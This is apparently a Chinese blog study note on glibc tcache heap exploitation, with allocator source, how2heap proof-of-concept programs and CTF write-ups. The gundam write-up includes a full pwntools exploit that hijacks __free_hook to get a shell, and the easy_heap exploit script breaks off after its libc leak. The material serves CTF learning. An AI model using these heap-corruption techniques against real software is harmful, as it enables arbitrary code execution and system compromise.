Tcache学习

字数统计: 8k字   |   阅读时长≈ 41分

最近准备好好学习一下 Tcache，然后下面的很多东西都是参考 CTF Wiki，并非原创，只是记录一下我学习时所重点关注的知识点和题目。

Overview

在tcache 中新增了两个结构体，分别是 tcache_entry 和 tcache_perthread_struct

1
2
3
4
5
6
7
8
9
10
11
12
13
14
/* We overlay this structure on the user-data portion of a chunk when the chunk is stored in the per-thread cache.  */
typedef struct tcache_entry
{
  struct tcache_entry *next;
} tcache_entry;

/* There is one of these for each thread, which contains the per-thread cache (hence "tcache_perthread_struct").  Keeping overall size low is mildly important.  Note that COUNTS and ENTRIES are redundant (we could have just counted the linked list each time), this is for performance reasons.  */
typedef struct tcache_perthread_struct
{
  char counts[TCACHE_MAX_BINS];
  tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

static __thread tcache_perthread_struct *tcache = NULL;

有两个重要函数：tcache_get() 和 tcache_put()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
static void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
  assert (tc_idx < TCACHE_MAX_BINS);
  e->next = tcache->entries[tc_idx];
  tcache->entries[tc_idx] = e;
  ++(tcache->counts[tc_idx]);
}

static void *
tcache_get (size_t tc_idx)
{
  tcache_entry *e = tcache->entries[tc_idx];
  assert (tc_idx < TCACHE_MAX_BINS);
  assert (tcache->entries[tc_idx] > 0);
  tcache->entries[tc_idx] = e->next;
  --(tcache->counts[tc_idx]);
  return (void *) e;
}

这两个函数会在函数 int_free 和 _libc_malloc 的开头被调用，其中 tcache_put 当所请求的分配大小不大于 0x408 并且当给大小的 tcache bin 未满时调用，一个 tcache bin 中的最大块数 `mp.tcache_count` 是 7.

1
2
3
4
/* This is another arbitrary limit, which tunables can change.  Each
   tcache bin will hold at most this number of chunks.  */
# define TCACHE_FILL_COUNT 7
#endif

在 tcache_get中，仅检查了 tc_idx，此外 可以将 tcache 当作一个类似于 fastbin 的单独链表，只是它的 check，并没有 fastbin 复杂，仅仅检查 tcache->entries[tc_idx] = e->next;

Tcache Usage

内存释放

在 free 函数的最先处理部分，首先是检查释放块是否 页对齐 及前后堆块的释放情况，便优先放入 tcache 结构中：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
_int_free (mstate av, mchunkptr p, int have_lock)
{
  INTERNAL_SIZE_T size;        /* its size */
  mfastbinptr *fb;             /* associated fastbin */
  mchunkptr nextchunk;         /* next contiguous chunk */
  INTERNAL_SIZE_T nextsize;    /* its size */
  int nextinuse;               /* true if nextchunk is used */
  INTERNAL_SIZE_T prevsize;    /* size of previous contiguous chunk */
  mchunkptr bck;               /* misc temp for linking */
  mchunkptr fwd;               /* misc temp for linking */

  size = chunksize (p);

  /* Little security check which won't hurt performance: the
     allocator never wrapps around at the end of the address space.
     Therefore we can exclude some size values which might appear
     here by accident or by "design" from some intruder.  */
  if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)
      || __builtin_expect (misaligned_chunk (p), 0))
    malloc_printerr ("free(): invalid pointer");
  /* We know that each chunk is at least MINSIZE bytes in size or a
     multiple of MALLOC_ALIGNMENT.  */
  if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size)))
    malloc_printerr ("free(): invalid size");

  check_inuse_chunk(av, p);

#if USE_TCACHE
  {
    size_t tc_idx = csize2tidx (size);

    if (tcache
      && tc_idx < mp_.tcache_bins
      && tcache->counts[tc_idx] < mp_.tcache_count)
      {
        tcache_put (p, tc_idx);
        return;
      }
  }
#endif

......
}

内存申请

在内存分配的 Malloc 函数中有多处，会将内存块移入 tcache 中：

（1）首先，申请的内存块符合 fastbin 大小时，并且在 fastbin 内找到可用的空闲块时，会把该 fastbin 链上的 其他内存块放入 tcache 中；

（2）其次，申请的内存块符合 smallbin 大小时并且在 smallbin 内找到可用的空闲块时，会把该 smallbin 链上的其他内存块放入 tcache 中；

（3）当在unsortedbin bin链上循环处理时，当找到大小合适的链时，并不直接返回，而是先放到 tcache 中，继续处理。

fastbin处理时，如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
  if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))
    {
      idx = fastbin_index (nb);
      mfastbinptr *fb = &fastbin (av, idx);
      mchunkptr pp;
      victim = *fb;

      if (victim != NULL)
    {
      if (SINGLE_THREAD_P)
        *fb = victim->fd;
      else
        REMOVE_FB (fb, pp, victim);
      if (__glibc_likely (victim != NULL))
        {
          size_t victim_idx = fastbin_index (chunksize (victim));
          if (__builtin_expect (victim_idx != idx, 0))
              malloc_printerr ("malloc(): memory corruption (fast)");
          check_remalloced_chunk (av, victim, nb);
#if USE_TCACHE
          /* While we're here, if we see other chunks of the same size,
         stash them in the tcache.  */
          size_t tc_idx = csize2tidx (nb);
          if (tcache && tc_idx < mp_.tcache_bins)
        {
          mchunkptr tc_victim;

          /* While bin not empty and tcache not full, copy chunks.  */
          while (tcache->counts[tc_idx] < mp_.tcache_count
            && (tc_victim = *fb) != NULL)
            {
              if (SINGLE_THREAD_P)
               *fb = tc_victim->fd;
              else
              {
                REMOVE_FB (fb, pp, tc_victim);
                if (__glibc_unlikely (tc_victim == NULL))
                  break;
              }
              tcache_put (tc_victim, tc_idx);
            }
        }
#endif
          void *p = chunk2mem (victim);
          alloc_perturb (p, bytes);
          return p;
        }
    }
    }
  • tcache取出：在内存申请的开始部分，首先会判断申请大小块，在tcache是否存在，如果存在就直接从tcache中摘取，否则再使用 _int_malloc 分配。
  • 在循环处理 unsortedbin 内存块时，如果达到放入 unsortedbin 块最大数量，会立即返回，默认是0，即不存在上限。
1
2
3
4
5
6
7
8
9
10
11
#if USE_TCACHE
      /* If we've processed as many chunks as we're allowed while
   filling the cache, return one of the cached ones.  */
      ++tcache_unsorted_count;
      if (return_cached
        && mp_.tcache_unsorted_limit > 0
        && tcache_unsorted_count > mp_.tcache_unsorted_limit)
      {
        return tcache_get (tc_idx);
      }
#endif
  • 在循环处理 unsortedbin 内存块时，如果之前曾放入过 tcache 块，则会取出一个并返回。
1
2
3
4
5
6
7
#if USE_TCACHE
      /* If all the small chunks we found ended up cached, return one now.  */
      if (return_cached)
      {
        return tcache_get (tc_idx);
      }
#endif

Pwn Tcache

tcache poisoning

通过覆盖 tcache 中的 next，不需要伪造任何 chunk 结构即可实现 malloc 到任何地址。

以 how2heap 中的 tcache_poisoning 为例：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>

int main()
{
	// disable buffering
	setbuf(stdin, NULL);
	setbuf(stdout, NULL);

	printf("This file demonstrates a simple tcache poisoning attack by tricking malloc into\n"
		   "returning a pointer to an arbitrary location (in this case, the stack).\n"
		   "The attack is very similar to fastbin corruption attack.\n");
	printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\n"
		   "We have to create and free one more chunk for padding before fd pointer hijacking.\n\n");

	size_t stack_var;
	printf("The address we want malloc() to return is %p.\n", (char *)&stack_var);

	printf("Allocating 2 buffers.\n");
	intptr_t *a = malloc(128);
	printf("malloc(128): %p\n", a);
	intptr_t *b = malloc(128);
	printf("malloc(128): %p\n", b);

	printf("Freeing the buffers...\n");
	free(a);
	free(b);

	printf("Now the tcache list has [ %p -> %p ].\n", b, a);
	printf("We overwrite the first %lu bytes (fd/next pointer) of the data at %p\n"
		   "to point to the location to control (%p).\n", sizeof(intptr_t), b, &stack_var);
	b[0] = (intptr_t)&stack_var;
	printf("Now the tcache list has [ %p -> %p ].\n", b, &stack_var);

	printf("1st malloc(128): %p\n", malloc(128));
	printf("Now the tcache list has [ %p ].\n", &stack_var);

	intptr_t *c = malloc(128);
	printf("2nd malloc(128): %p\n", c);
	printf("We got the control\n");

	return 0;
}

tcache dup

类似 fastbin dup，利用的是 tcache_put() 的不严谨

1
2
3
4
5
6
7
8
9
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
  assert (tc_idx < TCACHE_MAX_BINS);
  e->next = tcache->entries[tc_idx];
  tcache->entries[tc_idx] = e;
  ++(tcache->counts[tc_idx]);
}

tcache_put() 的检查可以忽略不计，甚至没有对 tcache->counts[tc_idx] 的检查，大幅提高性能时安全性也下降了很多。

因为没有任何检查，我们可以对同一个 chunk 多次 free，造成 cycliced list.

以 how2heap 的 tcache_dup 为例分析，源码如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
glibc_2.26 [master●] bat ./tcache_dup.c 
───────┬─────────────────────────────────────────────────────────────────────────────────
       │ File: ./tcache_dup.c
───────┼─────────────────────────────────────────────────────────────────────────────────
   1   │ #include <stdio.h>
   2   │ #include <stdlib.h>
   3   │ 
   4   │ int main()
   5   │ {
   6   │         fprintf(stderr, "This file demonstrates a simple double-free attack with
       │  tcache.\n");
   7   │ 
   8   │         fprintf(stderr, "Allocating buffer.\n");
   9   │         int *a = malloc(8);
  10   │ 
  11   │         fprintf(stderr, "malloc(8): %p\n", a);
  12   │         fprintf(stderr, "Freeing twice...\n");
  13   │         free(a);
  14   │         free(a);
  15   │ 
  16   │         fprintf(stderr, "Now the free list has [ %p, %p ].\n", a, a);
  17   │         fprintf(stderr, "Next allocated buffers will be same: [ %p, %p ].\n", ma
       │ lloc(8), malloc(8));
  18   │ 
  19   │         return 0;
  20   │ }
───────┴─────────────────────────────────────────────────────────────────────────────────

tcache perthread corruption

在 tcache_perthread_strcut 是整个 tcache 的管理结构，如果能控制这个结构体，无论 malloc 的 size 是多少，地址都是可控的。

设想有如下的堆排布情况：

1
2
3
4
5
6
7
8
9
10
11
12
tcache_    +------------+<---------------------------+
\perthread |......      |                            |
\_struct   +------------+                            |
           |counts[i]   |                            |
           +------------+                            |
           |......      |          +----------+      |
           +------------+          |header    |      |
           |entries[i]  |--------->+----------+      |
           +------------+          |target    |------+
           |......      |          +----------+
           |            |          |          |
           +------------+          +----------+

两次 malloc 后我们就返回了 tcache_prethread_struct 的地址，可以控制整个 tcache 了。

因为 tcache_prethread_struct 也在堆上，因此这种方法一般只需要 Partial overwrite 就可以达到目的。

tcache house of spirit

how2heap的源码：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#include <stdio.h>
#include <stdlib.h>

int main()
{
    fprintf(stderr, "This file demonstrates the house of spirit attack on tcache.\n");
    fprintf(stderr, "It works in a similar way to original house of spirit but you don't need to create fake chunk after the fake chunk that will be freed.\n");
    fprintf(stderr, "You can see this in malloc.c in function _int_free that tcache_put is called without checking if next chunk's size and prev_inuse are sane.\n");
    fprintf(stderr, "(Search for strings \"invalid next size\" and \"double free or corruption\")\n\n");

    fprintf(stderr, "Ok. Let's start with the example!.\n\n");


    fprintf(stderr, "Calling malloc() once so that it sets up its memory.\n");
    malloc(1);

    fprintf(stderr, "Let's imagine we will overwrite 1 pointer to point to a fake chunk region.\n");
    unsigned long long *a; //pointer that will be overwritten
    unsigned long long fake_chunks[10]; //fake chunk region

    fprintf(stderr, "This region contains one fake chunk. It's size field is placed at %p\n", &fake_chunks[1]);

    fprintf(stderr, "This chunk size has to be falling into the tcache category (chunk.size <= 0x410; malloc arg <= 0x408 on x64). The PREV_INUSE (lsb) bit is ignored by free for tcache chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
    fprintf(stderr, "... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n");
    fake_chunks[1] = 0x40; // this is the size


    fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]);
    fprintf(stderr, "... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");

    a = &fake_chunks[2];

    fprintf(stderr, "Freeing the overwritten pointer.\n");
    free(a);

    fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);
    fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30));
}

攻击之后的目的是，去控制栈上的内容，malloc 一块chunk，然后通过在栈上 fake 的 chunk，然后去free 掉他。最后去 malloc，就可以控制这块 栈的内容。

smallbin chunk

在 smallbin 中包含有空闲块的时候，会同时将同大小的其他空闲块，放入 tcache中，此时也会出现解链操作，但相比于 unlink宏，缺少了链完整性校验。因此，原本 unlink 操作在该条件下也可以使用。

这种攻击利用的是 tcache bin 有剩余（数量小于 TCACHE_MAX_BINS）时，同大小的 small bin 回放进 tcache 中，该情况可以用 calloc 分配同大小的堆块触发，因为 calloc 分配堆块时不从 tcache bin 中选取。 在获取到一个 smallbin 中的一个 chunk 后会如果 tcache 仍有足够空闲位置，会将剩余的 small bin 链入 tcache，在这个过程中只对 第一个 bin 进行了完整性检查，后面的堆块的检查缺少。当攻击者可以写一个 small bin 的 bk 指针时，其可以在任意地址上写一个 libc 地址（类似 unsroted bin attack 的效果）。构造得当的情况下也可以分配 fake chunk 到任意地址。

这里以 how2heap 中的 tcache_stashing_unlink_attack.c 为例。

我们按照释放的先后顺序称 smallbin[sz] 中的两个 chunk 分别为 chunk0 和 chunk1。我们修改 chunk1 的 bk 为 fake_chunk_addr。同时还要在 fake_chunk_addr->bk 处提前写一个可写地址 writable_addr 。调用 calloc(size-0x10) 的时候会返回给用户 chunk0 (这是因为 smallbin 的 FIFO 分配机制)，假设 tcache[sz] 中有 5 个空闲堆块，则有足够的位置容纳 chunk1 以及 fake_chunk 。在源码的检查中，只对第一个 chunk 的链表完整性做了检测 __glibc_unlikely (bck->fd != victim) ，后续堆块在放入过程中并没有检测。

因为 tcache 的分配机制是 LIFO ，所以位于 fake_chunk->bk 指针处的 fake_chunk 在链入 tcache 的时候反而会放到链表表头。在下一次调用 malloc(sz-0x10) 时会返回 fake_chunk+0x10 给用户，同时，由于 bin->bk = bck;bck->fd = bin; 的 unlink 操作，会使得 writable_addr+0x10 处被写入一个 libc 地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
#include <stdio.h>
#include <stdlib.h>

int main(){
    unsigned long stack_var[0x10] = {0};
    unsigned long *chunk_lis[0x10] = {0};
    unsigned long *target;

    fprintf(stderr, "This file demonstrates the stashing unlink attack on tcache.\n\n");
    fprintf(stderr, "This poc has been tested on both glibc 2.27 and glibc 2.29.\n\n");
    fprintf(stderr, "This technique can be used when you are able to overwrite the victim->bk pointer. Besides, it's necessary to alloc a chunk with calloc at least once. Last not least, we need a writable address to bypass check in glibc\n\n");
    fprintf(stderr, "The mechanism of putting smallbin into tcache in glibc gives us a chance to launch the attack.\n\n");
    fprintf(stderr, "This technique allows us to write a libc addr to wherever we want and create a fake chunk wherever we need. In this case we'll create the chunk on the stack.\n\n");

    // stack_var emulate the fake_chunk we want to alloc to
    fprintf(stderr, "Stack_var emulates the fake chunk we want to alloc to.\n\n");
    fprintf(stderr, "First let's write a writeable address to fake_chunk->bk to bypass bck->fd = bin in glibc. Here we choose the address of stack_var[2] as the fake bk. Later we can see *(fake_chunk->bk + 0x10) which is stack_var[4] will be a libc addr after attack.\n\n");

    stack_var[3] = (unsigned long)(&stack_var[2]);

    fprintf(stderr, "You can see the value of fake_chunk->bk is:%p\n\n",(void*)stack_var[3]);
    fprintf(stderr, "Also, let's see the initial value of stack_var[4]:%p\n\n",(void*)stack_var[4]);
    fprintf(stderr, "Now we alloc 9 chunks with malloc.\n\n");

    //now we malloc 9 chunks
    for(int i = 0;i < 9;i++){
        chunk_lis[i] = (unsigned long*)malloc(0x90);
    }

    //put 7 tcache
    fprintf(stderr, "Then we free 7 of them in order to put them into tcache. Carefully we didn't free a serial of chunks like chunk2 to chunk9, because an unsorted bin next to another will be merged into one after another malloc.\n\n");

    for(int i = 3;i < 9;i++){
        free(chunk_lis[i]);
    }

    fprintf(stderr, "As you can see, chunk1 & [chunk3,chunk8] are put into tcache bins while chunk0 and chunk2 will be put into unsorted bin.\n\n");

    //last tcache bin
    free(chunk_lis[1]);
    //now they are put into unsorted bin
    free(chunk_lis[0]);
    free(chunk_lis[2]);

    //convert into small bin
    fprintf(stderr, "Now we alloc a chunk larger than 0x90 to put chunk0 and chunk2 into small bin.\n\n");

    malloc(0xa0);//>0x90

    //now 5 tcache bins
    fprintf(stderr, "Then we malloc two chunks to spare space for small bins. After that, we now have 5 tcache bins and 2 small bins\n\n");

    malloc(0x90);
    malloc(0x90);

    fprintf(stderr, "Now we emulate a vulnerability that can overwrite the victim->bk pointer into fake_chunk addr: %p.\n\n",(void*)stack_var);

    //change victim->bck
    /*VULNERABILITY*/
    chunk_lis[2][1] = (unsigned long)stack_var;
    /*VULNERABILITY*/

    //trigger the attack
    fprintf(stderr, "Finally we alloc a 0x90 chunk with calloc to trigger the attack. The small bin preiously freed will be returned to user, the other one and the fake_chunk were linked into tcache bins.\n\n");

    calloc(1,0x90);

    fprintf(stderr, "Now our fake chunk has been put into tcache bin[0xa0] list. Its fd pointer now point to next free chunk: %p and the bck->fd has been changed into a libc addr: %p\n\n",(void*)stack_var[2],(void*)stack_var[4]);

    //malloc and return our fake chunk on stack
    target = malloc(0x90);   

    fprintf(stderr, "As you can see, next malloc(0x90) will return the region our fake chunk: %p\n",(void*)target);
    return 0;
}

libc leak

在以前的 Libc 版本中，会在 unsortedbin 或者 leagre bin 的 fd 和 bk指针中 存在 Libc 地址。

1
2
3
4
5
6
7
8
9
10
#include <stdlib.h>
#include <stdio.h>

int main()
{
    long *a = malloc(0x1000);
    malloc(0x10);
    free(a);
    printf("%p\n",a[0]);
}

在 2.26 之后的 libc 版本中，首先会把 tcache 填满：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <stdlib.h>
#include <stdio.h>

int main(int argc , char* argv[])
{
    long* t[7];
    long *a=malloc(0x100);
    long *b=malloc(0x10);

    // make tcache bin full
    for(int i=0;i<7;i++)
        t[i]=malloc(0x100);
    for(int i=0;i<7;i++)
        free(t[i]);

    free(a);
    // a is put in an unsorted bin because the tcache bin of this size is full
    printf("%p\n",a[0]);
}

然后才可以按照之前的方法，leak libc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x555555559af0 (size : 0x20510)
       last_remainder: 0x0 (size : 0x0)
            unsortbin: 0x555555559250 (size : 0x110)
(0x110)   tcache_entry[15]: 0x5555555599f0 --> 0x5555555598e0 --> 0x5555555597d0 --> 0x5555555596c0 --> 0x5555555595b0 --> 0x5555555594a0 --> 0x555555559390
gdb-peda$ parseheap
addr                prev                size                 status              fd                bk
0x555555559000      0x0                 0x250                Used                None              None
0x555555559250      0x0                 0x110                Freed     0x7ffff7fc0ca0    0x7ffff7fc0ca0
0x555555559360      0x110               0x20                 Used                None              None
0x555555559380      0x0                 0x110                Used                None              None
0x555555559490      0x0                 0x110                Used                None              None
0x5555555595a0      0x0                 0x110                Used                None              None
0x5555555596b0      0x0                 0x110                Used                None              None

Tcache Check

在最新的 libc 中已经更新了 Tcache 的 doubel free 的 check:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
index 6d7a6a8..f730d7a 100644 (file)
--- a/malloc/malloc.c
+++ b/malloc/malloc.c
@@ -2967,6 +2967,8 @@ mremap_chunk (mchunkptr p, size_t new_size)
 typedef struct tcache_entry
 {
   struct tcache_entry *next;
+  /* This field exists to detect double frees.  */
+  struct tcache_perthread_struct *key;
 } tcache_entry;

 /* There is one of these for each thread, which contains the
@@ -2990,6 +2992,11 @@ tcache_put (mchunkptr chunk, size_t tc_idx)
 {
   tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
   assert (tc_idx < TCACHE_MAX_BINS);
+
+  /* Mark this chunk as "in the tcache" so the test in _int_free will
+     detect a double free.  */
+  e->key = tcache;
+
   e->next = tcache->entries[tc_idx];
   tcache->entries[tc_idx] = e;
   ++(tcache->counts[tc_idx]);
@@ -3005,6 +3012,7 @@ tcache_get (size_t tc_idx)
   assert (tcache->entries[tc_idx] > 0);
   tcache->entries[tc_idx] = e->next;
   --(tcache->counts[tc_idx]);
+  e->key = NULL;
   return (void *) e;
 }

@@ -4218,6 +4226,26 @@ _int_free (mstate av, mchunkptr p, int have_lock)
   {
     size_t tc_idx = csize2tidx (size);

+    /* Check to see if it's already in the tcache.  */
+    tcache_entry *e = (tcache_entry *) chunk2mem (p);
+
+    /* This test succeeds on double free.  However, we don't 100%
+       trust it (it also matches random payload data at a 1 in
+       2^<size_t> chance), so verify it's not an unlikely coincidence
+       before aborting.  */
+    if (__glibc_unlikely (e->key == tcache && tcache))
+      {
+       tcache_entry *tmp;
+       LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
+       for (tmp = tcache->entries[tc_idx];
+            tmp;
+            tmp = tmp->next)
+         if (tmp == e)
+           malloc_printerr ("free(): double free detected in tcache 2");
+       /* If we get here, it was a coincidence.  We've wasted a few
+          cycles, but don't abort.  */
+      }
+
     if (tcache
        && tc_idx < mp_.tcache_bins
        && tcache->counts[tc_idx] < mp_.tcache_count)

Hitbxctf gundam

程序分析

image-20200925160335224

程序 Destroy() 函数，首先是 检测 idx 时存在缺陷，在 free一个 chunk 后，其实他的 chunk_list[idx] 没有被置为0；同时在 free(*(chunk_list[idx]+8)) 时，存在 UAF 漏洞。

利用分析

由于 存在 UAF 漏洞，同时 tcache 没有对 double free 进行检查，可以直接使用 double free 两次同一个 tcache，然后再申请一个 tcache，修改 tcache 的 fd和bk 指针，就能分配 伪造的 tcache 到指定地址。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
from pwn import *
context.update(arch='amd64', os='linux', log_level='debug')
context.terminal=(['tmux', 'split', '-h'])

debug = 1
if debug == 1:
    p = process('./gundam')
    elf = ELF('./gundam')
    libc = ELF('./libc.so.6')
else:
    libc = ELF('./libc.so.6')

gadgets = [0x47c46, 0x47c9a, 0xfdb8e]
def build(name, types):
    p.recvuntil('Your choice : ')
    p.sendline('1')
    p.recvuntil('The name of gundam :')
    p.send(name)
    p.recvuntil('The type of the gundam :')
    p.sendline(types)

def Visit():
    p.recvuntil('Your choice : ')
    p.sendline('2')

#free chunk_name
def Destroy(idx):
    p.recvuntil('Your choice : ')
    p.sendline('3')
    p.recvuntil('want to Destory:')
    p.sendline(str(idx))

#free chunk_struct
def Blowup():
    p.recvuntil('Your choice : ')
    p.sendline('4')

def pwn():
    #7 tache, 1 unsortedbin, 1 isolate freeed chunk
    for i in range(9):
        build('aaaa', '1')
    #free 7 chunk_name, free 1unsortedbin
    for i in range(8):
        Destroy(i)
    # free all chunk_struct
    Blowup()
    #gdb.attach(p)
    build('a', '0')
    build('a', '1')
    build('a', '2')

    Visit()
    data = p.recvuntil('1 . ')
    l=data.index("[0] :")+5
    heap_addr = u64(data[l:l+6].ljust(8, '\x00'))-0x861

    print 'heap_addr:',hex(heap_addr)
    #doubel free
    Destroy(1)
    Destroy(1)
    payload = heap_addr+0xb50
    build(p64(payload), '1')
    
    build('a', '1')
    build('a', '1')

    Visit()
    data = p.recvuntil('1 . ')
    l = data.index("[5] :") + 5
    libc_addr = u64(data[l: l+6].ljust(8, '\x00')) - 0x41
    libc_base = libc_addr - 0x3dac20
    print 'libc_addr:',hex(libc_addr)
    print 'libc_base:',hex(libc_base)
    free_hook = libc_base + libc.sym['__free_hook']
    gadget = gadgets[0] + libc_base
    system_addr = libc_base + libc.sym['system']
    print 'gadget:',hex(gadget)
    print 'system_addr:',hex(system_addr)
    
    for i in range(5):
        Destroy(i)

    Blowup()
    build('a','0')
    build('a', '1')

    Destroy(0)
    Destroy(0)

    build(p64(free_hook), '1')
    build('/bin/sh', '1')
    build(p64(system_addr), '1')
    gdb.attach(p)
    Destroy(0)
    p.interactive()

pwn()

LCTF2018 PWN easy_heap

程序分析

image-20200919125620172

存在一个 off-by-null 的漏洞，会在 buf 的 size 处输入一个 0。我么可以利用这个 0 来 修改下一个 chunk的 Pre_inuse 位，最后造成 chunk over_lap。

同时，可以看到此处的 读取输入时

利用分析

这道题也存在 off-by-null，如果按照 glibc 2.23 的想法，应该是利用 chunk off-by-null 修改后一个堆块的 pre_inuse位，然后构造 chunk overlap，最后再重用堆块。通过 unsortedbin attack 来泄露地址， fastbin attack 来 getshell。

但是这道题环境是 glibc2.26，有了 tcache，并且分配的堆块数 不能超过10，且我们输入时 不能输入 \x00，导致我们伪造 pre_size时 有困难。

这道题的关键就是 利用 Unsortedbin 释放时，会残留 pre_size 和填充 tcache 来攻击。

  1. 利用unsortedbin pre_size残留 构造 chunk overlap
1
2
3
4
1.申请 A、B、C 三个0x100 unsortedbin ，先释放 A、B，此时A和B合并，在C前的 Pre_size 大小为 0x200
2.释放 C，则A\B\C三个堆块都合并，但是C前的 pre_size位仍然为 0x200
3.再重新申请 A、B、C三个堆块，此时先释放A，再通过B的off-by-null漏洞覆盖 C的prev_inuse位，再释放C，此时三个堆块又全部合并。但是B处于allocated状态
4.最后利用 B块即可泄露 libc地址。
  1. 绕过tcache机制

由于tcache 的分配和释放都在 fastbin 、unsortedbin之前，所以当我们想利用 unsortedbin attack时，首先得保证 tcache链为满。否则会先分配 tcache链，再分配 unsortedbin 链。

  1. tcache dup

最后利用 tcache dup 攻击即可，该攻击使用 双重释放漏洞 来 修改 malloc_hook 或 free_hook 来getshell。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
from pwn import *
context.update(arch='amd64', os='linux', log_level='debug')
context.terminal=(['tmux', 'splitw','-h'])
debug = 1
if debug == 1:
    p = process('./easy_heap')
    elf = ELF('./easy_heap')
    libc = ELF('./libc.so.6')
else:
    libc = ELF('./libc.so.6')

main_arena_offset = 0x3dac78
malloc_offset = 0x3dac10
gadgets = [0x47c46, 0x47c9a, 0xfdb8e]
def Add(size, content):
    p.recvuntil('> ')
    p.sendline('1')
    p.recvuntil('size \n')
    p.recvuntil('> ')
    p.sendline(str(size))
    p.recvuntil('> ')
    p.sendline(content)

def delete(idx):
    p.recvuntil('> ')
    p.sendline('2')
    p.recvuntil('index \n')
    p.recvuntil('> ')
    p.sendline(str(idx))

def outPut(idx):
    p.recvuntil('> ')
    p.sendline('3')
    p.recvuntil('> ')
    p.sendline(str(idx))

def pwn():
    #先申请7个chunk作为tcache
    for i in range(7):
        Add(0x10, str(i))
    #3个unsortedbin
    for i in range(3):
        Add(0x10, str(i+7))
    #前6个填充 tcache
    for i in range(6):
        delete(i)
    #最后一个tcache作为 unsortdbin与 top chunk的间隔
    #gdb.attach(p)
    delete(9)
    #释放到 unsortedbin中
    for i in range(6, 9):
        delete(i)
    #先把 tcache分配完
    for i in range(7):
        Add(0x10, str(i))
    #分配 unsortedbin
    Add(0x10, 'unsortedbin')
    Add(0x10, 'unsortedbin')
    Add(0x10, 'unsortedbin')
	#再填充6个 unsortedbin
    for i in range(6):
        delete(i)
    # chunk overlap
    #gdb.attach(p)
    #把chunk B 放入 tcache中，因为后面要最先取出
    delete(8)
    #释放chunk A
    delete(7)
    #off-by-null 覆盖 chunkC
    Add(0xf8, 'unsortedbin chunk overlap')
    #填充 tcache
    delete(6)
    #释放chunkC,unsortedbin 合并
    delete(9)
	#分配所有tcache
    for i in range(7):
        Add(0x10, 'tcache')
	#将合并的Unsortedbin切割出 chunk A
    Add(0x10, 'unsortedbin 1')
	#输出chunkB,此时chunk B的 fd 和 bk指针为 main_arena+88 地址
    outPut(0)
    libc_addr = u64(p.recv(6).ljust(8, '\x00'))
    libc_base = libc_addr - main_arena_offset
    malloc_hook = libc_base + malloc_offset
    gadget = gadgets[2] + libc_base
    print 'libc_addr:',hex(libc_base)
